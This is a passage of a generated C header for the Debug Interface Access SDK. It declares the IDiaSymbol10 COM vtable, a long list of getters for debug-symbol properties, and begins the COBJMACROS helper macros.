STDMETHODCALLTYPE *get_dataBytes )( IDiaSymbol10 * This, /* [in] */ DWORD cbData, /* [out] */ DWORD *pcbData, /* [size_is][out] */ BYTE *pbData); HRESULT ( STDMETHODCALLTYPE *findChildren )( IDiaSymbol10 * This, /* [in] */ enum SymTagEnum symtag, /* [in] */ LPCOLESTR name, /* [in] */ DWORD compareFlags, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *findChildrenEx )( IDiaSymbol10 * This, /* [in] */ enum SymTagEnum symtag, /* [in] */ LPCOLESTR name, /* [in] */ DWORD compareFlags, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *findChildrenExByAddr )( IDiaSymbol10 * This, /* [in] */ enum SymTagEnum symtag, /* [in] */ LPCOLESTR name, /* [in] */ DWORD compareFlags, /* [in] */ DWORD isect, /* [in] */ DWORD offset, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *findChildrenExByVA )( IDiaSymbol10 * This, /* [in] */ enum SymTagEnum symtag, /* [in] */ LPCOLESTR name, /* [in] */ DWORD compareFlags, /* [in] */ ULONGLONG va, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *findChildrenExByRVA )( IDiaSymbol10 * This, /* [in] */ enum SymTagEnum symtag, /* [in] */ LPCOLESTR name, /* [in] */ DWORD compareFlags, /* [in] */ DWORD rva, /* [out] */ IDiaEnumSymbols **ppResult); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_targetSection )( IDiaSymbol10 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_targetOffset )( IDiaSymbol10 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_targetRelativeVirtualAddress )( IDiaSymbol10 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_targetVirtualAddress )( IDiaSymbol10 * This, /* [retval][out] */ ULONGLONG *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_machineType )( IDiaSymbol10 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_oemId )( IDiaSymbol10 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_oemSymbolId )( IDiaSymbol10 * This, /* [retval][out] */ DWORD *pRetVal); HRESULT ( STDMETHODCALLTYPE *get_types )( IDiaSymbol10 * This, /* [in] */ DWORD cTypes, /* [out] */ DWORD *pcTypes, /* [size_is][size_is][out] */ IDiaSymbol **pTypes); HRESULT ( STDMETHODCALLTYPE *get_typeIds )( IDiaSymbol10 * This, /* [in] */ DWORD cTypeIds, /* [out] */ DWORD *pcTypeIds, /* [size_is][out] */ DWORD *pdwTypeIds); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_objectPointerType )( IDiaSymbol10 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_udtKind )( IDiaSymbol10 * This, /* [retval][out] */ DWORD *pRetVal); HRESULT ( STDMETHODCALLTYPE *get_undecoratedNameEx )( IDiaSymbol10 * This, /* [in] */ DWORD undecorateOptions, /* [out] */ BSTR *name); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_noReturn )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_customCallingConvention )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_noInline )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_optimizedCodeDebugInfo )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_notReached )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_interruptReturn )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_farReturn )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isStatic )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasDebugInfo )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isLTCG )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isDataAligned )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasSecurityChecks )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_compilerName )( IDiaSymbol10 * This, /* [retval][out] */ BSTR *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasAlloca )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasSetJump )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasLongJump )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasInlAsm )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasEH )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasSEH )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasEHa )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isNaked )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isAggregated )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isSplitted )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_container )( IDiaSymbol10 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_inlSpec )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_noStackOrdering )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualBaseTableType )( IDiaSymbol10 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasManagedCode )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isHotpatchable )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isCVTCIL )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isMSILNetmodule )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isCTypes )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isStripped )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frontEndQFE )( IDiaSymbol10 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_backEndQFE )( IDiaSymbol10 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_wasInlined )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_strictGSCheck )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isCxxReturnUdt )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isConstructorVirtualBase )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_RValueReference )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_unmodifiedType )( IDiaSymbol10 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_framePointerPresent )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isSafeBuffers )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_intrinsic )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_sealed )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hfaFloat )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hfaDouble )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_liveRangeStartAddressSection )( IDiaSymbol10 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_liveRangeStartAddressOffset )( IDiaSymbol10 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_liveRangeStartRelativeVirtualAddress )( IDiaSymbol10 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_countLiveRanges )( IDiaSymbol10 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_liveRangeLength )( IDiaSymbol10 * This, /* [retval][out] */ ULONGLONG *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_offsetInUdt )( IDiaSymbol10 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_paramBasePointerRegisterId )( IDiaSymbol10 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_localBasePointerRegisterId )( IDiaSymbol10 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isLocationControlFlowDependent )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_stride )( IDiaSymbol10 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_numberOfRows )( IDiaSymbol10 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_numberOfColumns )( IDiaSymbol10 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isMatrixRowMajor )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); HRESULT ( STDMETHODCALLTYPE *get_numericProperties )( IDiaSymbol10 * This, /* [in] */ DWORD cnt, /* [out] */ DWORD *pcnt, /* [size_is][out] */ DWORD *pProperties); HRESULT ( STDMETHODCALLTYPE *get_modifierValues )( IDiaSymbol10 * This, /* [in] */ DWORD cnt, /* [out] */ DWORD *pcnt, /* [size_is][out] */ WORD *pModifiers); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isReturnValue )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isOptimizedAway )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_builtInKind )( IDiaSymbol10 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_registerType )( IDiaSymbol10 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_baseDataSlot )( IDiaSymbol10 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_baseDataOffset )( IDiaSymbol10 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_textureSlot )( IDiaSymbol10 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_samplerSlot )( IDiaSymbol10 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_uavSlot )( IDiaSymbol10 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_sizeInUdt )( IDiaSymbol10 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_memorySpaceKind )( IDiaSymbol10 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_unmodifiedTypeId )( IDiaSymbol10 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_subTypeId )( IDiaSymbol10 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_subType )( IDiaSymbol10 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_numberOfModifiers )( IDiaSymbol10 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_numberOfRegisterIndices )( IDiaSymbol10 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isHLSLData )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isPointerToDataMember )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isPointerToMemberFunction )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isSingleInheritance )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isMultipleInheritance )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isVirtualInheritance )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_restrictedType )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isPointerBasedOnSymbolValue )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_baseSymbol )( IDiaSymbol10 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_baseSymbolId )( IDiaSymbol10 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_objectFileName )( IDiaSymbol10 * This, /* [retval][out] */ BSTR *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isAcceleratorGroupSharedLocal )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isAcceleratorPointerTagLiveRange )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isAcceleratorStubFunction )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_numberOfAcceleratorPointerTags )( IDiaSymbol10 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isSdl )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isWinRTPointer )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isRefUdt )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isValueUdt )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isInterfaceUdt )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); HRESULT ( STDMETHODCALLTYPE *findInlineFramesByAddr )( IDiaSymbol10 * This, /* [in] */ DWORD isect, /* [in] */ DWORD offset, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *findInlineFramesByRVA )( IDiaSymbol10 * This, /* [in] */ DWORD rva, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *findInlineFramesByVA )( IDiaSymbol10 * This, /* [in] */ ULONGLONG va, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *findInlineeLines )( IDiaSymbol10 * This, /* [out] */ IDiaEnumLineNumbers **ppResult); HRESULT ( STDMETHODCALLTYPE *findInlineeLinesByAddr )( IDiaSymbol10 * This, /* [in] */ DWORD isect, /* [in] */ DWORD offset, /* [in] */ DWORD length, /* [out] */ IDiaEnumLineNumbers **ppResult); HRESULT ( STDMETHODCALLTYPE *findInlineeLinesByRVA )( IDiaSymbol10 * This, /* [in] */ DWORD rva, /* [in] */ DWORD length, /* [out] */ IDiaEnumLineNumbers **ppResult); HRESULT ( STDMETHODCALLTYPE *findInlineeLinesByVA )( IDiaSymbol10 * This, /* [in] */ ULONGLONG va, /* [in] */ DWORD length, /* [out] */ IDiaEnumLineNumbers **ppResult); HRESULT ( STDMETHODCALLTYPE *findSymbolsForAcceleratorPointerTag )( IDiaSymbol10 * This, /* [in] */ DWORD tagValue, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *findSymbolsByRVAForAcceleratorPointerTag )( IDiaSymbol10 * This, /* [in] */ DWORD tagValue, /* [in] */ DWORD rva, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *get_acceleratorPointerTags )( IDiaSymbol10 * This, /* [in] */ DWORD cnt, /* [out] */ DWORD *pcnt, /* [size_is][out] */ DWORD *pPointerTags); HRESULT ( STDMETHODCALLTYPE *getSrcLineOnTypeDefn )( IDiaSymbol10 * This, /* [out] */ IDiaLineNumber **ppResult); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isPGO )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasValidPGOCounts )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isOptimizedForSpeed )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_PGOEntryCount )( IDiaSymbol10 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_PGOEdgeCount )( IDiaSymbol10 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_PGODynamicInstructionCount )( IDiaSymbol10 * This, /* [retval][out] */ ULONGLONG *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_staticSize )( IDiaSymbol10 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_finalLiveStaticSize )( IDiaSymbol10 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_phaseName )( IDiaSymbol10 * This, /* [retval][out] */ BSTR *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasControlFlowCheck )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_constantExport )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_dataExport )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_privateExport )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_noNameExport )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exportHasExplicitlyAssignedOrdinal )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exportIsForwarder )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ordinal )( IDiaSymbol10 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frameSize )( IDiaSymbol10 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exceptionHandlerAddressSection )( IDiaSymbol10 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exceptionHandlerAddressOffset )( IDiaSymbol10 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exceptionHandlerRelativeVirtualAddress )( IDiaSymbol10 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exceptionHandlerVirtualAddress )( IDiaSymbol10 * This, /* [retval][out] */ ULONGLONG *pRetVal); HRESULT ( STDMETHODCALLTYPE *findInputAssemblyFile )( IDiaSymbol10 * This, /* [out] */ IDiaInputAssemblyFile **ppResult); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_characteristics )( IDiaSymbol10 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_coffGroup )( IDiaSymbol10 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_bindID )( IDiaSymbol10 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_bindSpace )( IDiaSymbol10 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_bindSlot )( IDiaSymbol10 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isObjCClass )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isObjCCategory )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isObjCProtocol )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_inlinee )( IDiaSymbol10 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_inlineeId )( IDiaSymbol10 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_noexcept )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasAbsoluteAddress )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isStaticMemberFunc )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isSignRet )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_coroutineKind )( IDiaSymbol10 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_associatedSymbolKind )( IDiaSymbol10 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_associatedSymbolSection )( IDiaSymbol10 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_associatedSymbolOffset )( IDiaSymbol10 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_associatedSymbolRva )( IDiaSymbol10 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_associatedSymbolAddr )( IDiaSymbol10 * This, /* [retval][out] */ ULONGLONG *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_framePadSize )( IDiaSymbol10 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_framePadOffset )( IDiaSymbol10 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isRTCs )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); HRESULT ( STDMETHODCALLTYPE *get_sourceLink )( IDiaSymbol10 * This, /* [in] */ DWORD cb, /* [out] */ DWORD *pcb, /* [size_is][out] */ BYTE *pb); END_INTERFACE } IDiaSymbol10Vtbl; interface IDiaSymbol10 { CONST_VTBL struct IDiaSymbol10Vtbl *lpVtbl; }; #ifdef COBJMACROS #define IDiaSymbol10_QueryInterface(This,riid,ppvObject) \ ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) #define IDiaSymbol10_AddRef(This) \ ( (This)->lpVtbl -> AddRef(This) ) #define IDiaSymbol10_Release(This) \ ( (This)->lpVtbl -> Release(This) ) #define IDiaSymbol10_get_symIndexId(This,pRetVal) \ ( (This)->lpVtbl -> get_symIndexId(This,pRetVal) ) #define IDiaSymbol10_get_symTag(This,pRetVal) 